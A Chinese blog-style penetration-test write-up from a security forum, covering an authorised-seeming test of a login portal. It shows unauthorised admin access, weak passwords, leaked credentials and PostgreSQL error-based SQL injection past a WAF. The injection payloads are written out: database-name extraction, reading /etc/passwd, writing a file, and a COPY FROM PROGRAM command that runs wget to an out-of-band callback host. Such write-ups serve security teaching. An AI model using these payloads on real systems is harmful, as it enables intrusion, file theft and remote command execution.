距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透
0x00前言
距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透
首先映入眼帘的是个登录框
老样子找未授权和弱口令,不过这一次这个站有阿里云waf就没有扫目录啦。
弱口令admin:123456,很显然开发没这么蠢
这时候应该思考什么,为什么这个站只有登录没有注册,那要怎么注册呢,一定存在一个注册的地方但不在这里。
这时候试一下未授权,将目录中的login改成admin试试,果然进来了
在翻一翻,左边企业目录没有数据和修改密码都因为是未授权进来没有什么数据,那目光只能放在帮助上了
帮助处存在两个手册,先来翻一翻这两个手册
先查看第一个手册物业操作手册,可以知道两个信息,初始账户密码都是123456以及有一个手机端但是不知道是APP还是微信公众号还是小程序。
再查看第二个手册企业操作手册,果然这里发现了原来是有个微信公众号里面的小功能呀。
整理一下思路,存在微信公众号以及初始账号密码是123456,这时去爆破看看账号密码咯~
0x01暴力破解
在翻手册中看到是企业用户那应该用的是人名的拼音作为账号,密码就是123456去试试
果然存在账号密码是123456可惜只能用手机号登录,高危漏洞先记录一个暴力破解存在。
0x02敏感信息泄漏
再看看历史数据包发现了一个有趣的东西,一个白给的数据泄漏
输入pass看看有没有信息,白给了一堆账号密码,不过都利用不了就放着了,再记一个敏感信息高危了
这里web没啥东西了,去微信公众号看看去,根据之前未授权查看的帮助文档顺利找到了这个公众号,一步步点下来终于找到注册的地方咯
0x03用户名枚举
账号注册先放一边,又看到了熟悉的操作手册,点开来看看
点进去看一看,发现了几个电话号码,通过web端的验证看看
通过web端的手机登录,果然存在该用户,喜提手机号枚举中危
0x04PDSQL注入
回归企业用户注册正题来了,接下来干货满满
点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入
尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了
先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢
先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11
可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400)
,传入的数据在两个百分号之间。
一开始我尝试在参数后面添加';payload--+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'
和一张图片
现在来分析一下这个语句,单引号'是用来闭合原本语句中的前单引号',符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法
这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。
查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1
0x05任意文件读取
继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过 '||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||'
,即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。
0x06任意文件写入
使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--
,并且用URL编码加密在tmp目录下2.jsp文件写入1234
然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'
查询tmp目录下的2.jsp,已经上传成功了
如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'
读取tmp目录下3.jsp是不存在的
这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。
0x07命令执行
使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--
远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。
期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。
秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见
- 本文作者: L1NG
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1344
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!